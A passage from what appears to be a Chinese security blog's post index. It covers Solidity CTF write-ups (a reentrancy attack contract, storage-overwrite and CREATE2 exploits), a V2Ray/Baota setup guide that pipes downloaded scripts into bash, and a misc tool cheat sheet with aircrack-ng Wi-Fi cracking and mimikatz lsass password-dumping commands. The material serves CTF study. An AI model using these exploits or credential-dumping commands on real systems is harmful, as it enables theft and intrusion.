pairs] mod_product = reduce(lambda x, y: x * y, mod_list) mi_list = [mod_product//x for x in mod_list] mi_inverse = [egcd(mi_list[i], mod_list[i])[0] for i in range(len(mi_list))] x = 0 for i in range(len(remainder_list)): x += mi_list[i] * mi_inverse[i] * remainder_list[i] x %= mod_product return xif __name__=='__main__': print(chinese_remainder([(65537, 64834), (64834, 41958)])) 然后调用 withdraw 两次,重入攻击,便可满足 balance[msg.sender]>=10000000000 exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667pragma solidity ^0.4.23;contract test { mapping(address=>uint) public balance; address public owner; uint s2; uint s3; uint s4; function profit(uint amount) public { require(balance[msg.sender] == 0); require(s2 != 0); if(amount % s2 == s3){ require(s3 != 0); if(amount % s3 == s4){ balance[msg.sender] += 3; } } } function withdraw(uint amount) public { require(amount == 2); require(balance[msg.sender] == 3); msg.sender.call.value(amount * 100000000000000)(); balance[msg.sender] -= amount; } function payforflag(string memory b64email) public { require(balance[msg.sender]>=10000000000); } function func_0531(uint t1, uint t2, uint t3) public { require(msg.sender == owner); s2 = t1; s3 = t2; s4 = t3; } }contract hack { address instance_address = 0x496371aF69612e7C85F8a558f9f19E0c15E9d4B0 ; test target = test(instance_address); uint public have_withdraw = 0; constructor() payable{} function hack1() { target.profit(227609298); } function hack2() { target.withdraw(2); } function() payable { if (have_withdraw == 0 && msg.sender == instance_address){ have_withdraw = 1; target.withdraw(2); } } function hack3(string memory b64email) { target.payforflag(b64email); }} 依次调用 hack1、hack2、hack3即可 需要注意的是,需要先强制转账给题目合约,不然重入攻击没法完成 完结,撒花🎉🎉🎉🎉🎉🎉🎉🎉🎉]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Blockchain</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Balsn CTF 2019 - Bank]]></title>
<url>%2F2020%2Fbalsn2019-bank%2F</url>
<content type="text"><![CDATA[前言 复现 balsn2019 ctf 中的 bank 区块链题目 wtcl ,复现了一个下午 具体分析及官方 WP 如下: https://x9453.github.io/2020/01/16/Balsn-CTF-2019-Bank/ 复现地址为: ropsten@0x85B0446Dc5B5f32cbB674Dc8e49Fc27Ebaff2Ee2 外部账户地址为: 0x785a8D0d84ad29c96f8e1F26BfDb3E6CB72cAe9b Source12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879pragma solidity ^0.4.24;contract Bank { event SendEther(address addr); event SendFlag(address addr); address public owner; uint randomNumber = 0; constructor() public { owner = msg.sender; } struct SafeBox { bool done; function(uint, bytes12) internal callback; bytes12 hash; uint value; } SafeBox[] safeboxes; struct FailedAttempt { uint idx; uint time; bytes12 triedPass; address origin; } mapping(address => FailedAttempt[]) failedLogs; modifier onlyPass(uint idx, bytes12 pass) { if (bytes12(sha3(pass)) != safeboxes[idx].hash) { FailedAttempt info; info.idx = idx; info.time = now; info.triedPass = pass; info.origin = tx.origin; failedLogs[msg.sender].push(info); } else { _; } } function deposit(bytes12 hash) payable public returns(uint) { SafeBox box; box.done = false; box.hash = hash; box.value = msg.value; if (msg.sender == owner) { box.callback = sendFlag; } else { require(msg.value >= 1 ether); box.value -= 0.01 ether; box.callback = sendEther; } safeboxes.push(box); return safeboxes.length-1; } function withdraw(uint idx, bytes12 pass) public payable { SafeBox box = safeboxes[idx]; require(!box.done); box.callback(idx, pass); box.done = true; } function sendEther(uint idx, bytes12 pass) internal onlyPass(idx, pass) { msg.sender.transfer(safeboxes[idx].value); emit SendEther(msg.sender); } function sendFlag(uint idx, bytes12 pass) internal onlyPass(idx, pass) { require(msg.value >= 100000000 ether); emit SendFlag(msg.sender); selfdestruct(owner); }} Analyse 合约创建后, slot 布局如下 123456789-----------------------------------------------------| unused (12) | owner (20) | <- slot 0-----------------------------------------------------| randomNumber (32) | <- slot 1-----------------------------------------------------| safeboxes.length (32) | <- slot 2-----------------------------------------------------| occupied by failedLogs but unused (32) | <- slot 3----------------------------------------------------- 关于 FailedAttempt 布局如下,在代码 33-36 行存在未初始化漏洞,会导致覆盖原先 slot0 到 slot2 的位置内容 1234567-----------------------------------------------------| idx (32) |-----------------------------------------------------| time (32) |-----------------------------------------------------| origin (20) | triedPass (12) |----------------------------------------------------- 同样, SafeBox 也是类似分析,会在 deposit() 中覆盖 slot0 和 slot1 12345-----------------------------------------------------| unused (11) | hash (12) | callback (8) | done (1) |-----------------------------------------------------| value (32) |----------------------------------------------------- 可以看到,如果通过 deposit 修改 slot0 和 slot1 是没用的,即使修改了 owner 也没用,因为还有第 74 行的限制 其实题目考查的是结构体未初始化漏洞+数组存储方式+mapping存储方式+控制程序执行流 因为 33-36 行中如果 origin 足够大,相当于修改了 safeboxes 数组的长度,让数组的长度足够大,如果大到可以修改或者覆盖 failedLogs,那么就可以通过 safeboxes 数组去访问 failedLogs,其实也相当于 failedLogs 是数组 safeboxes 的内容,所以这就对 tx.origin 有一定的要求 假设 safeboxes 可以包含 failedLogs,同时 FailedAttempt 中的 triedPass 可以覆盖 Safebox 的 callback : 因为 triedPass 我们可以完全控制,所以我们就可以通过 triedPass 控制 callback ,进一步控制程序执行流(第64行) 如果能够控制程序执行流的话,那么我们只需要找到第 75 行 emit SendFlag(msg.sender);的位置就行了,这个可以通过查看 bytecodes 对应的 opcode 找到,如下图,我们先找到 require(msg.value >= 100000000 ether); 对应的位置,然后再找 emit SendFlag(msg.sender); 对应的位置,因为在EVM中调用一个函数相当于执行 jump 操作,而跳到的地方都是以 jumpdest 开始,所以 0x070f 就是我们想要跳到的位置,这样的话就可以触发 SendFlag 事件了 Solution 计算 target = keccak256(keccak256(msg.sender||3)) + 2 ,这里 target 就是 FailedAttempt[0] 中的 origin(20) | triedPass(12) 计算 base = keccak256(2) ,这里 base 就是 safeboxes 数组第一个元素在 slot 的位置 计算 idx = (target - base) // 2 , 这里 idx 指的是在 safeboxes 数组中的索引,因为一个 Safebox 占据两个 slot ,所以要除以 2 计算 (target - base) % 2 ,如果等于 0 ,说明 origin(20) | triedPass(12) 刚好可以覆盖 unused (11) | hash (12) | callback (8) | done (1) 计算 (msg.sender << (12*8)) ,如果 < idx ,说明 safeboxes 数组长度合适,可以包含 failedLogs ; 否则的话从步骤1重新开始 调用 deposit(0x000000000000000000000000) 并设置 msg.value = 1 ether : 这里是让 callback 指向 sendEther , 目的是下一步调用控制 safeboxes 数组长度 调用 withdraw(0, 0x111111111111110000070f00) : 这里相当于调用 sendEther(0, 0x111111111111110000070f00) ,将 failedLogs[msg.sender] 中的 triedPass 控制,相当于控制了 unused (11) | hash (12) | callback (8) | done (1) 所在 slot 的低 12 字节,修改了 callback ,其实相当于把 failedLogs[msg.sender] 对应的内容看成是 safeboxes 数组的内容,同时修改了数组长度 调用 withdraw(idx, 0x000000000000000000000000) : 这里就可以执行到 emit SendFlag(msg.sender); 撒花🎉🎉🎉🎉🎉🎉🎉🎉 题外知识12345678910111213141516contract C { address a; uint r; uint[] b; mapping(uint => uint) m; constructor() public { a = msg.sender; r = 777; b.push(333); b.push(444); m[999] = 888; }}// b第一个元素位置在keccak256(2),即slot(keccak256(2)+0)存储333,slot(keccak256(2)+1)存储444// m[k]存储在slot(keccak256(k||3)),即slot(keccak256(999||3))存储888 可通过下列函数分别获取 slot 内容、mapping 内容对应 slot 、数组第一个元素对应 slot 1234567891011function read_slot(uint k) public view returns (bytes32 res) { assembly { res := sload(k) }}function cal_addr(uint k, uint p) public pure returns(bytes32 res) { res = keccak256(abi.encodePacked(k, p));}function cal_addr(uint p) public pure returns(bytes32 res) { res = keccak256(abi.encodePacked(p));}]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>balsn2019</tag>
<tag>bank</tag>
</tags>
</entry>
<entry>
<title><![CDATA[djJyYXk=(b64)伪装 + 宝塔 + typecho]]></title>
<url>%2F2020%2FTypecho-V2ray%2F</url>
<content type="text"><![CDATA[前言 换个动态博客 typecho 为了省钱,在同一个 vps 上搭建了 djJyYXk= 和 typecho 由于之前摸索搭建的方法,中间走了很多曲折路,由于申请太多 ssl 证书,导致域名暂时被 Let's Encrypt 拉入黑名单,所以目前没法更换到 typecho ,先记录一下方法吧 为了省事,直接用了宝塔,先安装宝塔 1yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && bash install.sh 然后用宝塔安装 typecho ,这里不要申请 ssl 证书 再安装 djJyYXk= 伪装 1bash <(curl -sL https://raw.githubusercontent.com/hijkpw/scripts/master/centos_install_v2ray2.sh) 最后修改 nginx , 路径为 /www/server/panel/vhost/nginx/blog.hitcxy.com.conf, 把 blog.hitcxy.com 换成相对应的主机名即可, ssl 证书用 v2ray 申请的 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768server { listen 80; server_name blog.hitcxy.com; return 301 https://$server_name:443$request_uri;}server { listen 443 ssl http2; server_name blog.hitcxy.com; charset utf-8; # ssl配置 ssl_protocols TLSv1.1 TLSv1.2; ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4; ssl_ecdh_curve secp384r1; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_session_tickets off; ssl_certificate /etc/letsencrypt/live/blog.hitcxy.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/blog.hitcxy.com/privkey.pem; #PHP-INFO-START PHP引用配置,可以注释或修改 include enable-php-70.conf; #REWRITE-START URL重写规则引用,修改后将导致面板设置的伪静态规则失效 include /www/server/panel/vhost/rewrite/blog.hitcxy.com.conf; root /www/wwwroot/blog.hitcxy.com; location / { index index.php index.html index.htm default.php default.htm default.html; # proxy_pass http://www.ddxsku.com/; } #禁止访问的文件或目录 location ~ ^/(\.user.ini|\.htaccess|\.git|\.svn|\.project|LICENSE|README.md) { return 404; } location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ { expires 30d; error_log off; access_log /dev/null; } location ~ .*\.(js|css)?$ { expires 12h; error_log off; access_log /dev/null; } access_log /www/wwwlogs/blog.hitcxy.com.log; error_log /www/wwwlogs/blog.hitcxy.com.error.log; location /pikachu_ufo { proxy_redirect off; proxy_pass http://127.0.0.1:29001; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_set_header Host $host; # Show real IP in v2ray access.log proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }}]]></content>
<categories>
<category>tools</category>
</categories>
<tags>
<tag>djJyYXk=</tag>
<tag>宝塔</tag>
<tag>typecho</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Balsn CTF 2019 - Creativity]]></title>
<url>%2F2020%2Fbalsn2019-create2%2F</url>
<content type="text"><![CDATA[前言 复现 balsn2019 ctf 中的 Creativity 区块链题目 这道题其实早就想复现了,只不过一直没有复现成功,是有关 create2 的骚操作,基本操作可参考另外一片文章https://hitcxy.com/2020/Create2/ 具体分析及官方 WP 如下: https://x9453.github.io/2020/01/04/Balsn-CTF-2019-Creativity/ 原谅我菜的抠脚…都 2020 了,还在做 2019 的题目 复现地址为: ropsten@0x3975c105e8D582A324F6093E7471fDf9d5b9Fa67 Source1234567891011121314151617181920212223242526pragma solidity ^0.5.10;contract Creativity { event SendFlag(address addr); address public target; uint randomNumber = 0; function check(address _addr) public { uint size; assembly { size := extcodesize(_addr) } require(size > 0 && size <= 4); target = _addr; } function execute() public { require(target != address(0)); target.delegatecall(abi.encodeWithSignature("")); selfdestruct(address(0)); } function sendFlag() public payable { require(msg.value >= 100000000 ether); emit SendFlag(msg.sender); }} Analyse 题目大概逻辑是: 让我们部署一个合约,合约代码大小不超过4字节 调用 check ,参数是我们部署的合约地址 调用 execute ,执行 delegatecall 到我们部署的合约内 但是,有个问题,我们没法在4个字节内 emit SendFlag 其实题目考查知识点为 Create2 的骚操作: 在同一个地址上部署合约,合约的字节码可以不同,即在同一个地址上先后可部署不同的合约 通过调用下面 Deployer.deploy 函数,我们可以把不同合约先后部署在同一个地址上, deployedAddr 即为部署的合约地址 123456789101112131415161718192021222324252627pragma solidity ^0.5.10;contract Deployer { bytes public deployBytecode; address public deployedAddr; function deploy(bytes memory code) public { deployBytecode = code; address a; // Compile Dumper to get this bytecode bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe'; assembly { a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x8866) } deployedAddr = a; }}contract Dumper { constructor() public { Deployer dp = Deployer(msg.sender); bytes memory bytecode = dp.deployBytecode(); assembly { return (add(bytecode, 0x20), mload(bytecode)) } }} 所以题目的逻辑如下: 用 create2 的骚操作,部署一个合约 0x33ff ,即 selfdestruct(msg.sender) 调用 check() ,让 target 为我们部署的合约地址 给我们部署的合约发一笔空交易,让它自毁 再次使用 create2 骚操作,在同一个地址部署合约,合约内容为 emit SendFlag(0) 调用 execute() ,就会执行我们第二次部署的合约的 emit SendFlag 事件,因为是 delegatecall 操作,所以还是相当于在原题目合约中进行的 emit SendFlag 操作,成功! Solution 先将 Deployer 部署,地址为 0x307FdF03B1842A501F52221e4cF02D67BfeEc399 , 然后使用 Deployer.deploy 部署 0x33ff ,得到部署的合约地址 0x2b473f517088f6d08e82cA06dD5A5e6A68Eb4663 调用 check() , target 已经变成了我们部署的合约地址 给我们部署的合约发一笔空交易,让它自毁,目的是为了重新在这个地址部署合约触发 SendFlag 事件,可以看到部署的合约已经自毁 1web3.eth.sendTransaction({ from: '0x785a8D0d84ad29c96f8e1F26BfDb3E6CB72cAe9b', to: "0x2b473f517088f6d08e82cA06dD5A5e6A68Eb4663", data: "" }, function(err,res){console.log(res)}); 使用 create2 骚操作,在同一个地址部署合约,合约内容为 emit SendFlag(0) ,这里我是写了一个 hack 合约,然后使用 Deployer.deploy 部署 123456contract hack { event SendFlag(address addr); constructor() public { emit SendFlag(address(0)); }} 这样就把内容为 emit SendFlag 的 hack 合约给部署到同一个地址 0x2b473f517088f6d08e82cA06dD5A5e6A68Eb4663 上了,如下图 调用 execute() ,就会执行我们第二次部署的合约的 emit SendFlag 事件 完结!!!🎉🎉🎉🎉🎉🎉]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>balsn2019</tag>
<tag>create2</tag>
</tags>
</entry>
<entry>
<title><![CDATA[misc_tools]]></title>
<url>%2F2020%2Fmisc-tools%2F</url>
<content type="text"><![CDATA[前言 本文包含在 windows 和在 kali 下使用的工具 转载自 Ga1@xy misc工具 图片相关jpgf5-steganography (F5隐写+需要passwd) 安装 1git clone https://github.com/matthewgao/F5-steganography 使用: 进入 F5-steganography 文件夹 12java Extract 1.jpg -p 123456// -p后接f5的key outguess (图片隐写) 安装 123git clone https://github.com/crorvick/outguesscd outguess./configure && make && make install 加密 1234outguess -k 12345 -d hidden.txt 1.jpg 2.jpg// -k后接密码// -d后接要隐藏的内容// 加密后1.jpg会覆盖2.jpg 解密 1234outguess -k 12345 -r 2.jpg out.txt// out.txt 中内容即为想要隐藏的 hidden.txt 中内容// 也可不需要密码outguess -r 2.jpg out.txt stegdetect(检查jpg图片隐写方法_win)12345678stegdetect.exe -tjopi -s 10.0 [stego_file]-s 修改检测算法的敏感度,该值的默认值为1。检测结果的匹配度与检测算法的敏感度成正比,算法敏感度的值越大,检测出的可疑文件包含敏感信息的可能性越大。-t 设置要检测哪些隐写工具(默认检测jopi),可设置的选项如下:j 检测图像中的信息是否是用jsteg嵌入的。o 检测图像中的信息是否是用outguess嵌入的。p 检测图像中的信息是否是用jphide嵌入的。i 检测图像中的信息是否是用invisible secrets嵌入的。 如果显示为 [stego_file]:jphide(***),则可以用 stegbreak 破解密码 1stegbreak -r rules.ini -f password.txt -t p [stego_file] jphide 可使用工具 JPHS steghide (图片或音频隐藏文件) 安装 1apt-get install steghide 加密 1steghide embed -cf out.jpg -ef flag.txt [-p 123456] # -p后接密码,可无 解密 123456// 查看图片中嵌入的文件信息:steghide info out.jpg// 提取含有密码的隐藏内容:steghide extract -sf out.jpg -p 123456// 提取不含有密码的隐藏内容:steghide extract -sf out.jpg steghide 爆破密码 有些题目用steghide加密文件但是不给密码,此时就需要爆破,steghide 本身并不支持爆破,需要一些其他的方法:https://github.com/Va5c0/Steghide-Brute-Force-Tool 123python steg_brute.py -b -d [字典] -f [jpg_file]// 需要安装的库: progressbarpip install progressbar2 png & bmpBlindWaterMark (盲水印)第一种 正常的bwm 安装 在github上下载脚本 bwm.py (网址: https://github.com/chishaxie/BlindWaterMark ) 123// 安装python前置模块pip install -i https://pypi.tuna.tsinghua.edu.cn/simple opencv-pythonsudo pip install matplotlib 加密 1234python bwm.py encode 1.png water.png 2.png// 1.png 为无水印原图// water.png 为水印图// 2.png 为有盲水印图 解密 1234python bwm.py decode 1.png 2.png flag.png// 1.png 为无水印原图// 2.png 为有盲水印的图// flag.png 为解出来的图片 第二种 频域盲水印1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253import cv2import numpy as npimport randomimport osfrom argparse import ArgumentParserALPHA = 5def build_parser(): parser = ArgumentParser() parser.add_argument('--original', dest='ori', required=True) parser.add_argument('--image', dest='img', required=True) parser.add_argument('--result', dest='res', required=True) parser.add_argument('--alpha', dest='alpha', default=ALPHA) return parserdef main(): parser = build_parser() options = parser.parse_args() ori = options.ori img = options.img res = options.res alpha = options.alpha if not os.path.isfile(ori): parser.error("original image %s does not exist." % ori) if not os.path.isfile(img): parser.error("image %s does not exist." % img) decode(ori, img, res, alpha)def decode(ori_path, img_path, res_path, alpha): ori = cv2.imread(ori_path) img = cv2.imread(img_path) ori_f = np.fft.fft2(ori) img_f = np.fft.fft2(img) height, width = ori.shape[0], ori.shape[1] watermark = (ori_f - img_f) / alpha watermark = np.real(watermark) res = np.zeros(watermark.shape) random.seed(height + width) x = range(height / 2) y = range(width) random.shuffle(x) random.shuffle(y) for i in range(height / 2): for j in range(width): res[x[i]][y[j]] = watermark[i][j] cv2.imwrite(res_path, res, [int(cv2.IMWRITE_JPEG_QUALITY), 100])if __name__ == '__main__': main()// python pinyubwm.py --original 1.png --image 2.png --result out.png// 查看 out.png 即可,如果无法得到正常图片,可将 1.png 和 2.png 调换位置再次尝试 lsb的py脚本解密(lsb隐写+需要passwd) 下载: https://github.com/livz/cloacked-pixel 简单使用如下,其余详见: https://github.com/livz/cloacked-pixel 1python lsb.py extract [stego_file] [out_file] [password] zsteg (lsb隐写)123gem install zstegzsteg 1.bmp// 一般来讲用 zsteg 解密的文件都为 bmp 文件 pngcheck(检查IDAT块_win)1pngcheck.exe -v 123.png 可检查 png 的 IDAT 块是否有问题 相关题目可参考:https://blog.csdn.net/u010391191/article/details/80818785 有关解题脚本可参考 FzWjScJ 师傅的 blog :http://www.fzwjscj.xyz/index.php/archives/17/ WebP 安装 (kali) 1apt install webp cwebp - 编码器工具:可将 png 转为 webp 1cwebp 1.png -o 2.webp dwebp - 解码器工具:可将 webp 转为 png 1dwebp 1.webp -o 2.png vwebp - 查看器工具:可直接查看 webp 格式图片 1vwebp 1.webp webpinfo - 格式查看工具:可打印出 WebP 文件的块级结构以及基本完整性检查 1webpinfo 1.webp 其余( gif2webp、img2webp 等可见 官方文档 ) exiftool(查看图片exif信息) 安装 (kali) 1apt-get install exiftool 使用 1234exiftool 1.jpg // 显示图片所有信息exiftool 1.jpg | grep flag // 查看图片有关‘flag’字符的信息exiftool * // 查看此文件夹所有图片信息exiftool -b -ThumbnailImage attachment.jpg >flag.jpg stegpy(支持多种文件加密) 此种加密支持对PNG、BMP、GIF、WebP和WAV格式加密,同时可以选择有无password 安装 (kali) 1pip3 install stegpy 加密 不含有密码 1stegpy 'hello_world' image.png - 含有密码 123stegpy "hello_world" image.png -pEnter password (will not be echoed): // 输入密码(不显示)Verify password (will not be echoed): // 确认密码(不显示) 解密 不含有密码 1stegpy _image.png - 含有密码 12stegpy _image.png -pEnter password (will not be echoed): // 输入密码(不显示) 压缩包相关crc值爆破 (zip包碰撞crc值) 下载脚本:https://github.com/theonlypwner/crc32 1python crc32.py reverse 你的crc32密文 压缩包密码爆破 Fcrackzip ARCHPR 可参考 https://ctf-wiki.github.io/ctf-wiki/misc/archive/zip-zh/#_3 ZipCenOp(zip伪加密) 加密 1java -jar ZipCenOp.jar e xxx.zip 解密 1java -jar ZipCenOp.jar r xxx.zip pyc文件相关uncompyle6(pyc文件反编译)12pip install uncompyle6uncompyle6 test.pyc > test.py Stegosaurus(pyc隐写_win)12// 版本:Python 3.6 or laterpython stegosaurus.py -x [pyc_file] 音频相关MP3stego(MP3隐写_win)1...\Decode.exe -X -P [password] [stego_mp3] steghide(图片或音频隐藏文件) 安装(kali中) 1apt-get install steghide 加密 12steghide embed -cf out.jpg -ef flag.txt [-p 123456]// -p后接密码,可无 解密 123456// 查看图片中嵌入的文件信息:steghide info out.jpg// 提取含有密码的隐藏内容:steghide extract -sf out.jpg -p 123456// 提取不含有密码的隐藏内容:steghide extract -sf out.jpg steghide爆破密码 有些题目用steghide加密文件但是不给密码,此时就需要爆破,steghide本身并不支持爆破,需要一些其他的方法:https://github.com/Va5c0/Steghide-Brute-Force-Tool 123python steg_brute.py -b -d [字典] -f [jpg_file]// 需要安装的库:progressbarpip install progressbar2 其它aircrack-ng(爆破wifi密码) kali下自带有一份无线密码字典:/usr/share/wordlists/rockyou.txt.gz,我们需要将其解压 12345cd /usr/share/wordlists/rockyou.txt.gzgzip -d rockyou.txt.gzaircrack-ng -w /usr/share/wordlists/rockyou.txt -b [MAC] [capfile]// -w 后加字典的位置(kali中自带字典的位置)// -b 后加路由器的MAC地址(应该也就是 BSSID) xortool(猜测xor加密的密码长度及值) 这里只列出了最简单的使用方法,其余可见:https://pypi.org/project/xortool/ 123xortool (-x) -c 20 123.txt// -x:代表文件内容为十六进制// -c:后加出现频率最高的字符,文本内容一般是空格(20),二进制文件一般是00 mimikatz(抓取lsass密码) 参考: 介绍一下神器mimikatz,从lsass里抓密码 | Jarett’s Blog 下载:https://pan.baidu.com/s/1qZmnPar-gfqT9OaWO_DS3g 提取码 svp9 将 lsass.dmp 文件放在 mimikatz.exe 所在目录下,关闭杀软后打开 mimikatz.exe , 执行以下三条命令: 123privilege::debugsekurlsa::minidump lsass.dmpsekurlsa::logonpasswords full gaps (拼图) 安装 12345git clone https://github.com/nemanja-m/gaps.gitcd gaps pip install -r requirements.txtsudo apt-get install python-tkpip install -e . 创建拼图 得到的拼图所有图在一张大图上,可以配合 convert 命令将其切开 1create_puzzle [图片绝度路径] --size=[尺寸] --destination=[创建拼图名称] 还原拼图 如果还原的是被切开成一小块一小块的拼图,需要先将其拼在一张大图上(可用 montage 命令),之后再用 gaps 将其还原: 12345678gaps --image=out.jpg --generations=50 --population=120 --size=50--image 指向拼图的路径--size 拼图块的像素尺寸--generations 遗传算法的代的数量--population 个体数量--verbose 每一代训练结束后展示最佳结果--save 将拼图还原为图像 dtmf2num(电话音解码) windows 下有 也有 python 脚本: https://github.com/hfeeki/dtmf]]></content>
<categories>
<category>tools</category>
</categories>
<tags>
<tag>misc</tag>
<tag>tools</tag>
<tag>kali</tag>
<tag>win</tag>
</tags>
</entry>
<entry>
<title><![CDATA[GKCTF2020 Harley Quinn]]></title>
<url>%2F2020%2FHarley-Quinn%2F</url>
<content type="text"><![CDATA[前言 打了一天的 GKCTF2020 ,上面的图后面几道是后来根据 官方WP 复现的, 提取码: du34 竟然把 crypto 给 AK 了,出题人题目出简单了,不然我一道也做不出来,害,其它题目也做不动 misc 也做出来一道,仅以此记录一下 附件 https://pan.baidu.com/s/14bITFhiiPysPMFZTqzYKYA 密码: tn6x Solutions 解压压缩包得到 .wav 和 .jpeg 文件 用 Audacity 分析 wav 文件,在频谱末尾找到下面一段 DTMF 拨号,用 dtmf2num.exe 工具识别加上人工比对修改,最后得到 #222833344477773338866# 这串东西, 查阅资料 ctf-wiki ,手机键盘密码,比如 222 对应的就是 23 ,是 c 字母,依次类推,最后得到 #ctfisfun# 然后卡住了,过了好久,题目放出 hint : FreeFileCamouflage ,然后回过头去查看压缩包注释,也有这样一段话,虽然开头是乱码 查阅资料,发现 FreeFileCamouflage 是一款将重要文档以 AES 加密算法存放到 JPG 格式的图片中,于是开始下载使用如下, passwd 就是之前得到的 ctfisfun 得到一个 flag.txt 文件: flag{Pudd1n!!_y0u_F1nd_m3!}]]></content>
<categories>
<category>Misc</category>
</categories>
<tags>
<tag>misc</tag>
<tag>GKCTF2020</tag>
<tag>Harley Quinn</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Create2]]></title>
<url>%2F2020%2FCreate2%2F</url>
<content type="text"><![CDATA[前言 智能合约生成合约地址的第二种方式 Create2 以一道例题解释 计算地址有两种方式 Create : keccak256(rlp.encode(deployingAddress, nonce))[12:] Create2 : keccak256(0xff ++ deployingAddr ++ salt ++ keccak256(bytecode))[12:] 关于 Create2 ,这里就不介绍了,可以参考 EIP 1014: CREATE2 指令 123456789101112131415161718192021222324252627282930313233343536pragma solidity ^0.4.21;interface IName { function name() external view returns (bytes32);}contract FuzzyIdentityChallenge { bool public isComplete; function authenticate() public { require(isSmarx(msg.sender)); require(isBadCode(msg.sender)); isComplete = true; } function isSmarx(address addr) internal view returns (bool) { return IName(addr).name() == bytes32("smarx"); } function isBadCode(address _addr) internal pure returns (bool) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000badc0de"; bytes20 mask = hex"000000000000000000000000000000000fffffff"; for (uint256 i = 0; i < 34; i++) { if (addr & mask == id) { return true; } mask <<= 4; id <<= 4; } return false; }} 很简单,要求 name 是 smarx ,并且 msg.sender 包含 badc0de ,可通过下面合约解决,只需要合约地址包括 badc0de 即可 123456789pragma solidity ^0.5.12;contract BadCodeSmarx is IName { function callAuthenticate(address _challenge) public { FuzzyIdentityChallenge(_challenge).authenticate(); } function name() external view returns (bytes32) { return bytes32("smarx"); }} 用 Create2 方法解决,如下,我们只需要计算出相对应的 salt 即可, Deployer 被部署在 0xca4dfd86a86c48c5d9c228bedbeb7f218a29c94b 12345678910111213contract Deployer { // contractBytecode是待部署合约的bytecode bytes contractBytecode = hex"608060405234801561001057600080fd5b5061015d806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c806306fdde031461003b5780637872ab4914610059575b600080fd5b61004361009d565b6040518082815260200191505060405180910390f35b61009b6004803603602081101561006f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506100c5565b005b60007f736d617278000000000000000000000000000000000000000000000000000000905090565b8073ffffffffffffffffffffffffffffffffffffffff1663380c7a676040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561010d57600080fd5b505af1158015610121573d6000803e3d6000fd5b505050505056fea265627a7a72315820fb2fc7a07f0eebf799c680bb1526641d2d905c19393adf340a04e48c9b527de964736f6c634300050c0032"; function deploy(bytes32 salt) public { bytes memory bytecode = contractBytecode; address addr; assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } }} 写了一个脚本爆破 salt, 只要包含 badc0de 即可 1234567891011121314151617from web3 import Web3s1 = '0xffca4dfd86a86c48c5d9c228bedbeb7f218a29c94b's3 = '4670da3f633e838c2746ca61c370ba3dbd257b86b28b78449f4185480e2aba51'i = 0while(1): salt = hex(i)[2:].rjust(64, '0') s = s1+salt+s3 hashed = Web3.sha3(hexstr=s) hashed_str = ''.join(['%02x' % b for b in hashed]) if 'badc0de' in hashed_str[24:]: print(salt,hashed_str) break i += 1 print(salt) 结果如下 最后调用 Deployer.deploy(0x00...005b2bfe) 即可把 BadCodeSmarx 合约部署到地址 0xa905a3922a4ebfbc7d257cecdb1df04a3badc0de 上 也有大佬通过 Create 方式解决的,有兴趣的可以参考 https://www.anquanke.com/post/id/154104#h3-11 , 带佬自行验证,我没有验证]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Create2</tag>
<tag>Solidity</tag>
</tags>
</entry>
<entry>
<title><![CDATA[蜜罐合约]]></title>
<url>%2F2020%2FHoneypot-Contract%2F</url>
